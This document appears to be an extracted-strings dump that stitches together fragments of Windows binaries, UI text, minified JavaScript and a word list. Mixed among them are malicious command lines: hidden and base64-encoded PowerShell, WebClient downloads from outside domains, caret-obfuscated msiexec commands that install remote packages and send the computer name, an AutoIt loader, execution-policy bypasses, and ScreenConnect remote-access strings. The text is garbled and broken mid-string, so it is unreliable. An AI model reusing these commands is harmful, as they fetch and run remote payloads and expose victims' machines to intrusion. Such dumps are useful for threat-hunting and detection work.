.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@I@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@V?$tuple@U?$IObservableVector@I@Collections@Foundation@Windows@winrt@@U?$IVector@I@2345@U?$IVectorView@I@2345@U?$IIterable@I@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345
WindowsVersion
windowspowershell\modules\
\windowspowershell\v1.0\module\
WINDOWS11
WINDOWS11
F:\boot.bat(echojauyra)elseifexist%systemdrive%\windows\brain6
hC:\WINDOWS\
lf)po:i+00/c:\r1windows<*windowsv1system32>*system32r2cmd.exe<*cmd.exe1/cs^tar^tfiles.bat&e^xplore^r"files\share3"!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mq/s-1-5-21-3175425753-1065646437-1217988452-1000
c:\windows\system32\windowspowershell\v1.0\powershell.exe-wh-ejab4agmazqagad0aiaanahgajwa7acaasqblahgakabjahiabqagaggadab0ahaacwa6ac8alwawahgamaauahmadaavafgazgbjafqalgb0ahgadaapadsaiaakahgaywblacaapqagaccaeaanaa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://doc-sharepoint.nbcoiling.com/index.php/s/byz9qr37knqiox5/download/value.txt'
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
wow64_microsoft-windows-web-app-host-api_31bf3856ad364e35_none_f805764a6ce3397d
wow64_microsoft-windows-web-app-host-ext_31bf3856ad364e35_none_f7ba01b06d1a245e
wow64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_en-us_4d457c22865a9571
wow64_microsoft-windows-web-app-host_31bf3856ad364e35_none_430c34db2579f3a6
wow64_microsoft-windows-web-http-events_31bf3856ad364e35_none_146ceaaed8e982ce
wow64_microsoft-windows-web-http_31bf3856ad364e35_none_b582c9f40c7686d6
wow64_microsoft-windows-webapi-events_31bf3856ad364e35_none_16f5a6d43a50c9b3
wow64_microsoft-windows-webapi_31bf3856ad364e35_none_ace560b06f158f3d
wow64_microsoft-windows-webcamexperience_31bf3856ad364e35_none_95edb03cb79d2396Z
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
index.windows
Windows.Internal.ShellExperience.StartMenu
..\windows\system32\cmd.exe/cstartc:\google\autoit3.exec:\google\googleupdate.a3x&exit
copy/y"c:\windows\system\
.exe""c:\programfiles\windowsnt">nul
powershell.exe-windowstylehidden-command"c:\users\public
:%QK:\windows\system32\
0..\..\..\windows\system32\
%systemroot%\system32\imageres.dll
Wpowershell-windowstylehidden-commandinvoke-webrequest-uri'https://github.com/
*_$-powershell-windowstylehidden-commandinvoke-webrequest-uri'https://gitlab.com/
ComSpec=C:\WINDOWS\system32\cmd.exP
ir%\system32\imageres.dll2
\windows\system32
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\windows.foundation.collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\windows.foundation.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\windows.devices.enumeration.h
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
RegisterUsertokenForNoWinlogon
Microsoft.Windows.RemoteDesktop.WtsApi32
Windows::Foundation::Initialize failed!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
-windowstyle h
Microsoft.Windows.Shell.CortanaSearch
\device\harddiskvolume3\windows\system32
!#ALF:NullSoft:WindowsDiscount
n SCPT:WindowsDiscount_ins1
SCPT:WindowsDiscount_ins2
SCPT:WindowsDiscount_ins3
SCPT:WindowsDiscount_ins4
https://login.windows.net/common/oauth2/nativeclient
Windows11\job
rApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_2>@?5??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_2>@?5??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AV<lambda_3>@?6??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_2>@?5??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?9??Connect@ProcessesPage_obj1_Bindings@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@DialogsPage_obj50_Bindings@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?9??Connect@ProcessesPage_obj1_Bindings@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?9??Connect@ProcessesPage_obj1_Bindings@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj7_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
MicrosoftWindows.Client.CBS_1000.261
$ageFullName": "MicrosoftWindows.Client.CBS_1000.261
C:\\WINDOWSz
"4.0","name":"Microsoft.Windows.
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
WinStationSetLastWinlogonNotification
RpcSetLastWinlogonNotification failed: 0x%x in %s
RpcSetLastWinlogonNotification threw an exception: 0x%x
WinStationGetLastWinlogonNotification
RpcGetLastWinlogonNotification failed: 0x%x in %s
RpcGetLastWinlogonNotification threw an exception: 0x%x
Microsoft.Windows.Compatibility.Apphelp
Microsoft.Windows.Compatibility.Encapsulation
Microsoft.Windows.Compatibility.Asl
Failed to StringCchCatW system32
GetSystemWindowsDirectoryW
Windows hook set in installer.
Failed to set windows hook[%d]
SetWindowsHookExW
Error trying to retrieve Windows directory [%d]
EnumWindows
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-ConfigCI-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
c:\windowsj
c:\windows\system32\cmd.exe/q/cxcopy/y/i(
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.WpdMtp.Api
rname!"%windir%\system32\shell32.dll%
Q"http://0p.rs:8080/bnuxz7/h2qoorzyqznov1echk9cqqnbbtfxwx/!computername!"^h^p^db^ocub^s=^za^n^c^j/^quie^tiu^n^tm^jhm=^p^bwcael!%systemroot%\system32\shell32.dll
>b$enccmd=[system.convert]::tobase64string($unibytes)start-process-filepath'powershell.exe'-windowstylehidden-argumentlist'-noprofile','-encodedcommand',$enccmd
rYcmd.exearchivos_rentaso/e/v/rs^ta^rt^ms^ie^x^ec^f^gx=a^t-^packa^g^e"http://3z.nu:8080/y6a7ia2jgoxi5nk/dtbtga/!computername!"/^qn%windir%\system32\shell32.dll%
cmd.exe/v/r^sta^rt^m^si^execangh^q^i^n=l^k^m^j^n/^qn/^fv"http://2t.pm:8080/y/wb8fyxp/tey/kveit88hl5a//!computername!"wp^t=^fm^qk%windir%\system32\shell32.dll%
c:\windows\system32\cmd.exeklaim-klaim2020-2022[/v/c^st^a^r^t^m^s^i^ex^e^c-q-^i"http://4w.rs:8080/odbgiqcmk2j/!computername!=!username!"imageres.dll%comspec%%
c:\windows\system32\cmd.exevideos2u/cst^a^r^tmsiexe^cte^q^v^w=^a^eg^a^rl^w^i^n/^fv"http://q0.wf:8080/ah/amm7h4t4kubmuuesskk884v/%computername%"-^qnshell32.dll
9Windows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy66P
Windows
Windows
Windows
Windows
powershell.exe,%systemroot%\system32\windowspowershell\v1.0-executionpolicyunrestricted-windo1$
c:\windows\system32\imageres.dll%systemroot%
Microsoft.Windows.ErrorHandling.Fallback
Microsoft.Windows.Security.BitLocker.Bdesvc
Microsoft.Windows.Input.GazeUITelemetry
Microsoft.Windows.Desktop.Shell.MonitorManager
windowsauthentication:
MessagePumpForUI::ProcessNextWindowsMessage GetQueueStatus
MessagePumpForUI::ProcessNextWindowsMessage PeekMessage
WindowsInternalShellCommonTraceLoggingProvider
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ErrorHandling.Fallback.Windows.Internal.ShellCommmon
Microsoft.Windows.Shell.UwpWindowLifecycleManagement
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Shell.TaskGroups
windows.internal.shellcommon.pdb
|-ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFilehttp://
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetHostContext.g.h
system32\version.muiem32\wcnapi.muicom/board/sitemahttp://checkin.travelsanignacio.com/
windows\system32\run.bat
Microsoft.Windows.BackgroundManager
Microsoft.Windows.COM.MetadataBasedMarshaler
Ping 127.0.0.1 -459B2-3311-54C3- Processid:{0A10 /Processid:{712C245-2190-7215-A3C5-43215926716Asoftware\Intel\Jicacls "%s" /graft\windows\curreNtQueryInformatiIntelGraphicsConsoftware
Study the net adapters to which the computer has connected\system32\wbem\tmf\\Windows\Caches\caches_version.dbthe clip filename is:\Microsoft\Windows\Burn\Right MENU keyControl-break processingactivinggoing ahead of whatwhere
Windows
Windows
WindowsIndexingDisabled
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.?AU?$__abi_FunctorCapture@V<lambda_40a907751731a944f337e5060dd2e5f7>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Win32_PerfFormattedData_Counters_EventTracingforWindows
_Counters_EventTracingforWindowsSess
windows\system32\cmd /c ")curBoolButt^
C:\Windows\explorer.exeSoftware\Microsoft\Windows\CurrentVersion\Policies\ExplorerSoftware\Microsoft\Windows\CurrentVersion\Policies\NetworkL
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
lass i extends t.DynamicHeightView{constructor(){super(...arguments);this.shouldComponentUpdate=(t,i)=>!n.config.reactGroups||n.shouldComponentUpdateOverload(this,t,i)}render(){const{suggestions:o,clickHandler:i,contextMenuHandler:r,openPreviewPaneButton:s,isSearchHome:e,notifyIconPending:u,notifyIconReadyOrFailed:f}=this.props,h=(n.config===null||n.config===void 0?void 0:n.config.enableAutoSuggestMultiEntity)&&o&&o.length>1&&o.findIndex(n=>!!n.secondaryIcon)>0;let c=n.config.enableLeftPillExtend&&!e;return React.createElement("div",{className:t.classNames(n.RuntimeConfig.FlatListWithoutGroups?"group":"topResults",{leftPillExtend:c})},o.map((o,c)=>n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9?React.createElement(t.WindowsSuggestionFileExplorer,{key:`${o.id}_${c}`,suggestion:o,contextMenuHandler:r,clickHandler:i,topResult:!0,notifyIconPending:u,notifyIconReadyOrFailed:f,isSearchHome:e,where:"WindowsTopResults.WindowsSuggestionFileExplorer"}):n.RuntimeConfig.QfMode==12?React.createElement(t.WindowsSuggestionComposer,{key:`${o.id}_${c}`,suggestion:o,contextMenuHandler:r,clickHandler:i,notifyIconPending:u,notifyIconReadyOrFailed:f,where:"WindowsTopResults.WindowsSuggestionComposer"}):n.config.wsbWithCopilotQF?n.RuntimeConfiguration.TextScaleFactor<=1.25?React.createElement(t.WindowsSuggestionCollapsible,{key:o.reactKey,isExpanded:!0,isFirst:!0,suggestion:o,contextMenuHandler:r,clickHandler:i,openPreviewPaneButton:s,isSearchHome:e,webSuggestionAnnotation:n.getWebSuggestionAnnotation(),notifyIconPending:u,notifyIconReadyOrFailed:f,where:"WindowstopResults.WindowsSuggestionCollapsible",index:c}):React.createElement(t.WindowsSuggestionSingleLine,{key:o.reactKey,isFirst:!0,suggestion:o,contextMenuHandler:r,clickHandler:i,openPreviewPaneButton:s,isSearchHome:e,webSuggestionAnnotation:n.getWebSuggestionAnnotation(),notifyIconPending:u,notifyIconReadyOrFailed:f,where:"WindowstopResults.WindowsSuggestionSingleLine",index:c,topResult:!0}):o.staticGroupType&&o.staticGroupType==n.GroupType.Upsell?React.createElement(t.UpsellSuggestion,{key:`${o.id}_${c}`,suggestion:o,clickHandler:i,contextMenuHandler:r,topResult:!0,notifyIconPending:u,notifyIconReadyOrFailed:f,where:"WindowsTopResults.UpsellSuggestion"}):React.createElement(t.WindowsSuggestionThreeLines,{key:`${o.id}_${c}`,suggestion:o,contextMenuHandler:r,clickHandler:i,openPreviewPaneButton:s,isSearchHome:e,topResult:!0,notifyIconPending:u,notifyIconReadyOrFailed:f,where:"WindowsTopResults.WindowsSuggestionThreeLines",withWebSibling:h})))}}t.WindowsTopResults=i})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){class i extends React.Component{constructor(t){super(t);this.shouldComponentUpdate=(t,i)=>!n.config.reactGroups||n.shouldComponentUpdateOverload(this,t,i);this.state={icon:null}}componentWillMount(){var t;if(n.config.reactGroups&&this.props.suggestion.getIcon&&!this.state.icon){let i=n.SequenceNumberManager.getSequenceNumber();(t=this.props)===null||t===void 0?void 0:t.notifyIconPending(i,this.props.topResult,this.props.where);this.props.suggestion.getIcon(n.RootViewModel.getImageSize(n.Host.getQuery(),this.props.suggestion,this.props.topResult),t=>{n.populateImageRatio(t,this.props.suggestion.type,()=>{var n;(n=this.props)===null||n===void 0?void 0:n.notifyIconReadyOrFailed(i,this.props.topResult,"wsfe-"+this.props.where);this.setState({icon:t})})})}}render(){var u;const{suggestion:i,clickHandler:f,contextMenuHandler:e,isSearchHome:o}=this.props;if(!i)return null;const s=t.classNames("suggestion",{sa_hv:i.selected&&!i.selectedStyleSuspended,selectable:!!i.click,iconBackplateEnabled:n.config.enableIconBackplate},i.classNames.join(" "));return React.createElement("li",{className:s,onContextMenu:n=>e(i,n.nativeEvent),onClick:n=>f(i,n.nativeEvent),id:i.id,"data-partnertag":t.whenTestHooks("AutoSuggest.RegularSuggestion"),"aria-selected":i.selected?"true":"false","aria-label":i.narratorText,"data-stype":t.whenTestHooks(i.type),"data-h":i.instItem.getHValue(),"data-clicks":i.isReformulation?"true":null,"data-noct":i.isReformulation?"true":null,title:i.tooFILE0
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.TlgAggregateInternal
	>windows.i
GetWindowsFlightIdsComponentStr
!#SCPT:WindowsDiscount_ins2
.?AV<lambda_1>@?1???$?0V?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@std@@@?$_Task_async_state@J@std@@QEAA@$$QEAV?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@2@@Z@
.?AV?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@std@@
.?AV<lambda_1>@?1???$?0V?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupScrubTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@std@@@?$_Task_async_state@J@std@@QEAA@$$QEAV?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupScrubTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@2@@Z@
.?AV?$_Fake_no_copy_callable_adapter@V<lambda_1>@?2??Start@DedupScrubTaskHandler@ReFs@FileSystem@Windows@@UEAAJPEAUIUnknown@@PEAG@Z@@std@@
.?AV<lambda_1>@?1??LoadFrom@VolumePersistedScrubSchedule@ReFs@FileSystem@Windows@@SA?AV2345@AEBVVolumePath@345@@Z@
;|windowspowershell\v1.0\
OS=Windows_NT
SLGetWindowsInformationDWORD
Software\Microsoft\Windows\steepled\Uninstall\concerti\lsmagsS
Software\Microsoft\Windows\betalingsstandsningers\Uninstall\hjlpefiler\anthogeneticS
-RSoftware\Microsoft\Windows\indflytningens\Uninstall\Guruers\outequivocateS
ScreenConnect.WindowsBackstageShellS
ScreenConnect.WindowsServerS
ScreenConnect.WindowsInstallerS
ScreenConnect.WindowsClientS
ScreenConnect.WindowsS
screenconnect.windowsclient.pdbs
.invoke([windows.t
..\..\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Software\Microsoft\Windows\frikasse\Uninstall\jubilumsgaverne\BevirkS
e}copyc:\windows\system32\curl
CloseWindowStation
CreateWindowStationW
EnumChildWindows
EnumThreadWindows
EnumWindows
GetProcessWindowStation
gustomentemariofirmacostofichaplatahogarartesleyesaquelmuseobasespocosmitadcielochicomiedoganarsantoetapadebesplayaredessietecortecoreadudasdeseoviejodeseaaguas&quot;domaincommonstatuseventsmastersystemactionbannerremovescrollupdateglobalmediumfilternumberchangeresultpublicscreenchoosenormaltravelissuessourcetargetspringmodulemobileswitchphotosborderregionitselfsocialactivecolumnrecordfollowtitle>eitherlengthfamilyfriendlayoutauthorcreatereviewsummerserverplayedplayerexpandpolicyformatdoublepointsseriespersonlivingdesignmonthsforcesuniqueweightpeopleenergynaturesearchfigurehavingcustomoffsetletterwindowsubmitrendergroupsuploadhealthmethodvideosschoolfutureshadowdebatevaluesObjectothersrightsleaguechromesimplenoticesharedendingseasonreportonlinesquarebuttonimagesenablemovinglatestwinterFranceperiodstrongrepeatLondondetailformeddemandsecurepassedtoggleplacesdevicestaticcitiesstreamyellowattackstreetflighthiddeninfo">openedusefulvalleycausesleadersecretseconddamagesportsexceptratingsignedthingseffectfieldsstatesofficevisualeditorvolumeReportmuseummoviesparentaccessmostlymother" id="marketgroundchancesurveybeforesymbolmomentspeechmotioninsidematterCenterobjectexistsmiddleEuropegrowthlegacymannerenoughcareeransweroriginportalclientselectrandomclosedtopicscomingfatheroptionsimplyraisedescapechosenchurchdefinereasoncorneroutputmemoryiframepolicemodelsNumberduringoffersstyleskilledlistedcalledsilvermargindeletebetterbrowselimitsGlobalsinglewidgetcenterbudgetnowrapcreditclaimsenginesafetychoicespirit-stylespreadmakingneededrussiapleaseextentScriptbrokenallowschargedividefactormember-basedtheoryconfigaroundworkedhelpedChurchimpactshouldalwayslogo" bottomlist">){var 